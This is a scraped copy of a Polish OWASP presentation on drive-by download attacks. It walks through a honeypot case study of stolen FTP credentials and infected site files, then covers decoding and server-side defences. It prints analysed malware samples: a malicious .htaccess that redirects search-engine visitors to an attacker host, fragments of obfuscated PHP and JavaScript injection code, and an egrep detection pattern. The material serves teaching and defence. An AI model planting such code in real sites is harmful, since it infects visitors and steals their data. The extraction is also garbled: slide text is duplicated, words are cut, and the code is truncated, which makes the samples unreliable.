Скачать презентацию Ataki drive-by download Filip Palian filip palian pjwstk edu Скачать презентацию Ataki drive-by download Filip Palian filip palian pjwstk edu

67dd9a1fa5586054708fe5369778164d.ppt

  • Количество слайдов: 57

Ataki drive-by download Filip Palian filip. palian@pjwstk. edu. pl OWASP Education Project Copyright 2007 Ataki drive-by download Filip Palian filip. [email protected] edu. pl OWASP Education Project Copyright 2007 © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP Foundation

Rozkład jazdy Drive-by download – co to takiego? Dlaczego problem istnieje? Kogo dotyczy problem? Rozkład jazdy Drive-by download – co to takiego? Dlaczego problem istnieje? Kogo dotyczy problem? Skala problemu Z życia wzięte Studium przypadku Dekodowanie Przeciwdziałanie Przyszłość Co na to OWASP? OWASP

Drive-by download – co to takiego? Pobranie z sieci szkodliwego oprogramowania bez zgody i/lub Drive-by download – co to takiego? Pobranie z sieci szkodliwego oprogramowania bez zgody i/lub wiedzy użytkownika OWASP

Dlaczego problem istnieje? Błędy w przeglądarkach oraz dodatkach Błędy w stronach internetowych (wstrzyknięcia) Nieświadomość Dlaczego problem istnieje? Błędy w przeglądarkach oraz dodatkach Błędy w stronach internetowych (wstrzyknięcia) Nieświadomość i lenistwo użytkowników Brak (stosowania) odpowiednich zabezpieczeń Botnety SPAM (D)Do. S OWASP

Dlaczego problem istnieje? $ Pieniądze $ Władza $ Polityka = (pieniądze + władza) $ Dlaczego problem istnieje? $ Pieniądze $ Władza $ Polityka = (pieniądze + władza) $ Religia = (pieniądze + władza) OWASP

Kogo głównie dotyczy problem? Użytkownicy przeglądarek internetowych Użytkownicy kont FTP + WWW Twórcy stron Kogo głównie dotyczy problem? Użytkownicy przeglądarek internetowych Użytkownicy kont FTP + WWW Twórcy stron internetowych Firmy hostingowe OWASP

Skala problemu http: //web. archive. org/web/20080525170526/http: //top 100. pl/ OWASP Skala problemu http: //web. archive. org/web/20080525170526/http: //top 100. pl/ OWASP

Skala problemu (home. pl) http: //www. google. com/safebrowsing/diagnostic? site=AS: 12824 OWASP Skala problemu (home. pl) http: //www. google. com/safebrowsing/diagnostic? site=AS: 12824 OWASP

Skala problemu (netart. pl) http: //www. google. com/safebrowsing/diagnostic? site=AS: 15967 OWASP Skala problemu (netart. pl) http: //www. google. com/safebrowsing/diagnostic? site=AS: 15967 OWASP

Skala problemu (fastpark. net) http: //www. google. com/safebrowsing/diagnostic? site=AS: 13727 OWASP Skala problemu (fastpark. net) http: //www. google. com/safebrowsing/diagnostic? site=AS: 13727 OWASP

Skala problemu c. d. Go. Daddy (AS 26496) Dreamhost (AS 26347) Akamai (AS 20940) Skala problemu c. d. Go. Daddy (AS 26496) Dreamhost (AS 26347) Akamai (AS 20940) Microsoft (AS 8075) Google (AS 15169) OVH (AS 16276) OWASP

Skala problemu c. d. Źródło: http: //www. cert. pl/PDF/Raport_CP_2009. pdf OWASP Skala problemu c. d. Źródło: http: //www. cert. pl/PDF/Raport_CP_2009. pdf OWASP

Z życia wzięte (a. k. a. cyferki++) Na przykładzie danych zebranych w okresie VIII Z życia wzięte (a. k. a. cyferki++) Na przykładzie danych zebranych w okresie VIII 2008 – III 2010: 44042 233 70 (wykryte) zainfekowane pliki (wykryte) domeny rodzajów szkodliwego oprogramowania OWASP

Z życia wzięte c. d. 2008 2009 2010 OWASP Z życia wzięte c. d. 2008 2009 2010 OWASP

Z życia wzięte c. d. Kwi Lip 2009: Korea Pn. wystrzeliwuje rakietę Taepodong-2 Trzęsienie Z życia wzięte c. d. Kwi Lip 2009: Korea Pn. wystrzeliwuje rakietę Taepodong-2 Trzęsienie ziemi w Meksyku 2009: Paź Lut Zamachy terrorystyczne na hotele w Dżakarcie Śmierć Michaela Jacksona 2009: Barack Obama laureatem pokojowej nagrody Nobla 2010: Igrzyska olimpijskie w Vancouver Trzęsienia ziemi na Haiti i w Chile OWASP

Z życia wzięte c. d. Źródło: http: //cert. gov. pl/portal/cer/8/298/Cyberprzestepcy_wykorzystuja_tragedie_narodowa_aktualizacja OWASP Z życia wzięte c. d. Źródło: http: //cert. gov. pl/portal/cer/8/298/Cyberprzestepcy_wykorzystuja_tragedie_narodowa_aktualizacja OWASP

Z życia wzięte c. d. OWASP Z życia wzięte c. d. OWASP

Studium przypadku 1. Ofiara odwiedza zainfekowaną stronę WWW 2. Malware na stronie wykorzystuje błąd Studium przypadku 1. Ofiara odwiedza zainfekowaną stronę WWW 2. Malware na stronie wykorzystuje błąd w oprogramowaniu 3. Kradzież danych dostępowych do konta FTP 4. Zalogowanie się na konto FTP i pobranie plików 5. Dodanie szkodliwej treści do pobranych plików 6. Wgranie na serwer FTP zainfekowanych plików OWASP

Studium przypadku c. d. Środowisko testowe honeypota: VMware MS Windows XP Professional SP 2 Studium przypadku c. d. Środowisko testowe honeypota: VMware MS Windows XP Professional SP 2 Systemowy firewall AVG 8 Adobe Reader 9. x MS Internet Explorer 6. x Capture HPC (The Honeynet Project) OWASP

Studium przypadku c. d. 1. Ofiara odwiedza zainfekowaną stronę. Gdzie takie znaleźć? http: //www. Studium przypadku c. d. 1. Ofiara odwiedza zainfekowaną stronę. Gdzie takie znaleźć? http: //www. google. com/safebrowsing/diagnostic? site= http: //stopbadware. org/reports/ip http: //stopbadware. org/reports/asn http: //www. malwaredomainlist. com/mdl. php Co się dzieje na tym etapie? OWASP

Studium przypadku c. d. OWASP Studium przypadku c. d. OWASP

Studium przypadku c. d. 2. Malware na stronie wykorzystuje błędy w oprogramowaniu Przeglądarki (głównie Studium przypadku c. d. 2. Malware na stronie wykorzystuje błędy w oprogramowaniu Przeglądarki (głównie IE, FX, Opera) Wtyczki (Adobe Reader, Real. Player, Active. X etc. ) Silniki skryptowe (np. Sea. Monkey, JScript, Rhino) No dobrze, i co dalej? OWASP

Studium przypadku c. d. OWASP Studium przypadku c. d. OWASP

Studium przypadku c. d. OWASP Studium przypadku c. d. OWASP

Studium przypadku c. d. OWASP Studium przypadku c. d. OWASP

Studium przypadku c. d. OWASP Studium przypadku c. d. OWASP

Studium przypadku c. d. Efekt? OWASP Studium przypadku c. d. Efekt? OWASP

Studium przypadku c. d. Co nas uderzyło? Trojan Fake. Rean Co robi ten trojan? Studium przypadku c. d. Co nas uderzyło? Trojan Fake. Rean Co robi ten trojan? Win 32/Fake. Rean podszywa się pod oprogramowanie antywirusowe i wyświetla nieprawdziwe informacje o zainfekowanych plikach w systemie. Następnie informuje użytkownika o tym, że musi on zapłacić za usunięcie zagrożeń, które nie istnieją. Gdzie znajdę więcej informacji? http: //www. microsoft. com/security/portal/Threat/Encyclopedia/Entry. aspx? Name= Win 32%2 f. Fake. Rean OWASP

Studium przypadku c. d. 3. Kradzież danych dostępowych do konta FTP (i nie tylko) Studium przypadku c. d. 3. Kradzież danych dostępowych do konta FTP (i nie tylko) Sniffery Keyloggery Serwery proxy Zapamiętywanie haseł w aplikacjach OWASP

Studium przypadku c. d. 4. Zalogowanie się na konto FTP i pobranie plików Jan Studium przypadku c. d. 4. Zalogowanie się na konto FTP i pobranie plików Jan 9 Jan 9 (. . . ) Jan 9 16: 51: 00 16: 51: 01 16: 51: 02 foo foo foo pure-ftpd: pure-ftpd: (? @x. x) [INFO] New connection from x. x (? @x. x) [INFO] ftpuser is now logged in ([email protected] x) [NOTICE] /srv/www/foo/index. html downloaded ([email protected] x) [NOTICE] /srv/www/foo/index. php downloaded ([email protected] x) [NOTICE] /srv/www/foo/bar/index. html downloaded ([email protected] x) [NOTICE] /srv/www/foo/tmp/index. htm downloaded 16: 51: 03 foo pure-ftpd: ([email protected] x) [INFO] Logout. OWASP

Studium przypadku c. d. 5. Dodanie szkodliwej treści do pobranych plików Przed “<html>” W Studium przypadku c. d. 5. Dodanie szkodliwej treści do pobranych plików Przed “” W “” Po “” Gdziekolwiek ucinając resztę zawartości pliku OWASP

Studium przypadku c. d. 5. Dodanie szkodliwej treści do pobranych plików $ tail -4 Studium przypadku c. d. 5. Dodanie szkodliwej treści do pobranych plików $ tail -4 index. html OWASP

Studium przypadku c. d. 6. Wgranie na serwer FTP zainfekowanych plików Jan 9 Jan Studium przypadku c. d. 6. Wgranie na serwer FTP zainfekowanych plików Jan 9 Jan 9 (. . . ) Jan 9 16: 52: 00 16: 52: 01 16: 52: 01 16: 52: 02 foo foo pure-ftpd: pure-ftpd: (? @x. x) [INFO] New connection from x. x (? @x. x) [INFO] ftpuser is now logged in ([email protected] x) [NOTICE] /srv/www/foo/. htaccess uploaded ([email protected] x) [NOTICE] /srv/www/foo/index. html uploaded ([email protected] x) [NOTICE] /srv/www/foo/index. php uploaded ([email protected] x) [NOTICE] /srv/www/foo/bar/. htaccess uploaded ([email protected] x) [NOTICE] /srv/www/foo/bar/index. html uploaded ([email protected] x) [NOTICE] /srv/www/foo/tmp/jquery. js uploaded 16: 52: 03 foo pure-ftpd: ([email protected] x) [INFO] Logout. OWASP

Studium przypadku c. d. 6. Wgranie na serwer FTP zainfekowanych plików $ cat. htaccess Studium przypadku c. d. 6. Wgranie na serwer FTP zainfekowanych plików $ cat. htaccess Rewrite. Engine On Rewrite. Cond %{HTTP_REFERER}. *google. *$ [NC, OR] Rewrite. Cond %{HTTP_REFERER}. *aol. *$ [NC, OR] Rewrite. Cond %{HTTP_REFERER}. *msn. *$ [NC, OR] Rewrite. Cond %{HTTP_REFERER}. *altavista. *$ [NC, OR] Rewrite. Cond %{HTTP_REFERER}. *ask. *$ [NC, OR] Rewrite. Cond %{HTTP_REFERER}. *yahoo. *$ [NC] Rewrite. Rule. * http: //x. x/in. html? s=xx [R, L] OWASP

2)" src="https://present5.com/presentation/67dd9a1fa5586054708fe5369778164d/image-35.jpg" alt="Przykłady szkodliwego oprogramowania 1) 2)" /> Przykłady szkodliwego oprogramowania 1) 2) '; ? > 3) OWASP

Przykłady szkodliwego oprogramowania c. d. 5) <!-- o --><script language='Java. Script'>function nbsp() {var t, Przykłady szkodliwego oprogramowania c. d. 5) #', '', $s); if(stristr($s, ''))$s= $s 1. TMP_XHGFJOKL; return $g? gzencode($s): $s; }function tmp_lkojfghx 2($a=0, $b=0, $c=0, $d=0){$s=array(); if($b&&$GLOBALS ['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'], $a, $b, $c, $d); foreach(@ob_get_status(1 ) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return; else $s[]=array($a=='default output handler'? false: $a); for($i=count($s)-1; $ i>=0; $i--){$s[$i][1]=ob_get_contents(); ob_end_clean(); }ob_start('tmp_lkojfghx'); for($i=0; $i OWASP

Dekodowanie (na szybko ; -p) no. Script i alert() prawdę Ci powiedzą. OWASP Dekodowanie (na szybko ; -p) no. Script i alert() prawdę Ci powiedzą. OWASP

Dekodowanie c. d. no. Script: OWASP Dekodowanie c. d. no. Script: OWASP

Dekodowanie c. d. alert() na przykładzie Exploit. HTML. IESlice. h: Przed: <script>document. write(unescape('%3 C%73%63%72%69%70%74%3 Dekodowanie c. d. alert() na przykładzie Exploit. HTML. IESlice. h: Przed: Po: OWASP

Dekodowanie c. d. alert(): OWASP Dekodowanie c. d. alert(): OWASP

Przeciwdziałanie Jak można się bronić o ile w ogóle? W kontekście: Badaczy Po stronie Przeciwdziałanie Jak można się bronić o ile w ogóle? W kontekście: Badaczy Po stronie serwera Po stronie klienta OWASP

Przeciwdziałanie (research) Narzędzia do analizy szkodliwego oprogramowania: http: //stopbadware. com http: //unmaskparasites. com http: Przeciwdziałanie (research) Narzędzia do analizy szkodliwego oprogramowania: http: //stopbadware. com http: //unmaskparasites. com http: //malzilla. sourceforge. net/index. html http: //wepawet. iseclab. org http: //virustotal. com (hispasec) http: //virusscan. jotti. org http: //anubis. iseclab. org http: //badwarebusters. org/community/submit http: //www. secureworks. com/research/tools/caffeinemonkey. html http: //www. google. com/safebrowsing/report_badware/. . . OWASP

Przeciwdziałanie (research) c. d. Zalety: Wysoki stopień wykrywalości szkodliwego oprogramowania Wady: W większości są Przeciwdziałanie (research) c. d. Zalety: Wysoki stopień wykrywalości szkodliwego oprogramowania Wady: W większości są to rozwiązania on-line i/lub wymagające interakcji użytkownika Stosunkowo długi czas analizy plików OWASP

Przeciwdziałanie (serwer) Dostępne rozwiązania: Pro. FTPD + mod_exec Pure-FTPd + uploadscript Firewalle aplikacyjne (WAF-y) Przeciwdziałanie (serwer) Dostępne rozwiązania: Pro. FTPD + mod_exec Pure-FTPd + uploadscript Firewalle aplikacyjne (WAF-y) Systemy IDS/IPS Antywirusy OWASP

Przeciwdziałanie (serwer) c. d. Zalety: Możliwość implementacji własnego rozwiązania z FTPD Blokada “wstrzyknięć” przez Przeciwdziałanie (serwer) c. d. Zalety: Możliwość implementacji własnego rozwiązania z FTPD Blokada “wstrzyknięć” przez WAF-y Wady: WAF-y nie posiadają sygnatur dla szkodliwego oprogramowania Antywirusy słabo rozpoznają szkodliwe oprogramowanie Systemy IDS/IPS nie posiadają sygnatur dla szkodl. oprogr. Brak możliwości zabronienia wgrania na serwer zainfekowanych plików OWASP

Przeciwdziałanie (serwer) c. d. Przykład własnego rozwiązania opartego na: Pure-FTPd + uploadscript + skrypt Przeciwdziałanie (serwer) c. d. Przykład własnego rozwiązania opartego na: Pure-FTPd + uploadscript + skrypt bash Gdyby ktoś był ciekaw. . . Rozwiązanie stabilne, sprawdzone w środowisku produkcyjnym (serwer i ~2000 klientów) z liczbą false positive bliską “/dev/zero”. OWASP

Przeciwdziałanie (serwer) c. d. -- cut -# Przeciwdziałanie (serwer) c. d. -- cut -# "THE BEER-WARE LICENSE": # wrote this file. As long as you retain this # notice you can do whatever you want with this stuff. If we meet some day, # and you think this stuff is worth it, you can buy me a beer in return Filip Palian. . # Finds: "foo. (cn|ru|ro)" with iframe egrep -i "*[[: print: ]]. (cn|ru|ro)" "$1" | egrep "[[: print: ]]